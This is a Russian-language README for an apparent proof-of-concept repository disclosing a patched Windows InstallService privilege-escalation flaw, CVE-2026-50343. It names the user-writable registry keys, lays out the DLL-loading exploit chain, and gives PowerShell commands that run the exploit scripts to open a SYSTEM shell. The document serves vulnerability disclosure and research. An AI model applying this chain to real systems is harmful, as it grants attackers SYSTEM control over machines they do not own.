
CVE-2026-50343 InstallService StaticPluginMap EoP - от обычного пользователя до SYSTEM
Я независимо обнаружил уязвимость и сообщил о ней; теперь она отслеживается как
CVE-2026-50343. MSRC подтвердил, что моя заявка является дубликатом более
раннего отчёта другого исследователя. Обычный интерактивный пользователь может
записывать контролируемое атакующим состояние плагинов в
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\InstallService\State. Служба
установки Microsoft Store работает от имени NT AUTHORITY\SYSTEM, читает
PlugInList и StaticPluginMap и загружает указанную DLL после срабатывания
публичного триггера AppInstallManager.SearchForAllUpdatesAsync(). В результате
локальный обычный пользователь получает выполнение кода от имени SYSTEM.
📹 Видео демонстрации интерактивной оболочки SYSTEM
| CVE | CVE-2026-50343 |
| Кейс MSRC | 120271 / VULN-192719 |
| Статус MSRC | Подтверждено: дубликат более раннего отчёта исследователя |
| Серьёзность по версии Microsoft | Важная (Important) |
| CVSS по версии Microsoft | 7.8 High (высокая) — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Класс ошибки | Некорректный ACL реестра / загрузка DLL с привилегиями |
| Первопричина | Обычные пользователи могут создавать или изменять состояние карты плагинов InstallService, используемое службой SYSTEM |
| Компонент | Windows InstallService / брокер установки и обновления Microsoft Store |
| Триггер | Windows.ApplicationModel.Store.Preview.InstallControl.AppInstallManager.SearchForAllUpdatesAsync() |
| Затронутая протестированная сборка | Windows 11 25H2 build 26200.8037 |
| Предыдущая протестированная сборка | Windows 11 Pro 25H2 build 26200.8524 |
| Воздействие | Выполнение кода обычным пользователем -> NT AUTHORITY\SYSTEM |
| Требуется | Локальный обычный пользователь, интерактивный вход |
| CWE по версии Microsoft | CWE-269: Improper Privilege Management |
| Классификация первопричины исследователем | CWE-732: Incorrect Permission Assignment for Critical Resource |
InstallService доверяет именам плагинов и путям к DLL из состояния HKLM,
которое может записывать обычный интерактивный пользователь. Пользователь с
низкими привилегиями создаёт новое имя плагина, привязывает его к контролируемой
атакующим DLL и вызывает WinRT API управления установкой Store. Затем
InstallService загружает эту DLL внутри C:\Windows\System32\svchost.exe от
имени NT AUTHORITY\SYSTEM.
Более сильный репро на чистой виртуальной машине в этом репозитории открывает
видимый cmd.exe от имени SYSTEM в активной сессии рабочего стола. В
прикреплённом видео desktop-ud6iv88\user1 запускается как обычный пользователь,
и порождённая оболочка сообщает:
nt authority\system S-1-5-18
Уязвимое состояние находится в:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\InstallService\State\PlugInList
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\InstallService\State\StaticPluginMap
В протестированных сборках обычный интерактивный пользователь может создавать
отсутствующие подразделы или задавать значения в них. Позже InstallService
использует эти значения как конфигурацию плагинов, работая от имени SYSTEM.
Основная цепочка эксплуатации:
PlugInList\<fresh plugin name> = 1.StaticPluginMap\<fresh plugin name> = <attacker DLL>.AppInstallManager.SearchForAllUpdatesAsync().InstallService загружает DLL атакующего от имени SYSTEM.NT AUTHORITY\SYSTEM.Используйте более сильный репро:
interactive-system-shell-repro/
Из PowerShell обычного пользователя:
cd interactive-system-shell-repro
powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Cleanup-InstallServiceInteractiveShell.ps1
powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\Run-InstallServiceInteractiveShell.ps1
Когда откроется оболочка SYSTEM:
whoami /user
whoami /priv
Каждый запуск записывает доказательства в:
C:\Users\Public\InstallServiceEopProof\<timestamp>
Исходные файлы заявки в MSRC по-прежнему доступны для справки:
| Файл | Описание |
|---|---|
exploit.ps1 | Оригинальный автономный PoC, который записывает состояние реестра, запускает InstallService и проверяет маркерные файлы SYSTEM |
canary.c | Исходный код оригинальной DLL, записывающей маркер |
isp_exploit.dll | Оригинальная готовая DLL, записывающая маркер |
Использование:
powershell.exe -ExecutionPolicy Bypass -File .\exploit.ps1 -PayloadDll "C:\Users\Public\isp_exploit.dll"
powershell.exe -ExecutionPolicy Bypass -File .\exploit.ps1 -Cleanup
| Дата | Событие |
|---|---|
| 2026-06-03 | Оригинальный отчёт об InstallService отправлен в MSRC как VULN-192719 |
| 2026-06-04 | Открыт кейс MSRC 120271 |
| 2026-06-13 | Записан репро интерактивной оболочки SYSTEM от обычного пользователя на свежей Windows 11 25H2 build 26200.8037 и добавлен в поданный кейс MSRC |
| 2026-06-27 | MSRC подтвердил, что отчёт является дубликатом более ранней заявки исследователя |
| 2026-07-14 | Microsoft опубликовала CVE-2026-50343 и выпустила обновления безопасности |
interactive-system-shell-repro/interactive-system-shell-repro/evidence/installservice-staticplugin.mp4exploit.ps1canary.cОтказ от ответственности: Этот код эксплойта предоставлен для исследований в области безопасности и в образовательных целях. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за неправомерное использование.
CVE-2026-50343 — независимо сообщено в MSRC как кейс 120271 / VULN-192719; подтверждено как дубликат более ранней заявки исследователя.
Daniel Wade — GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online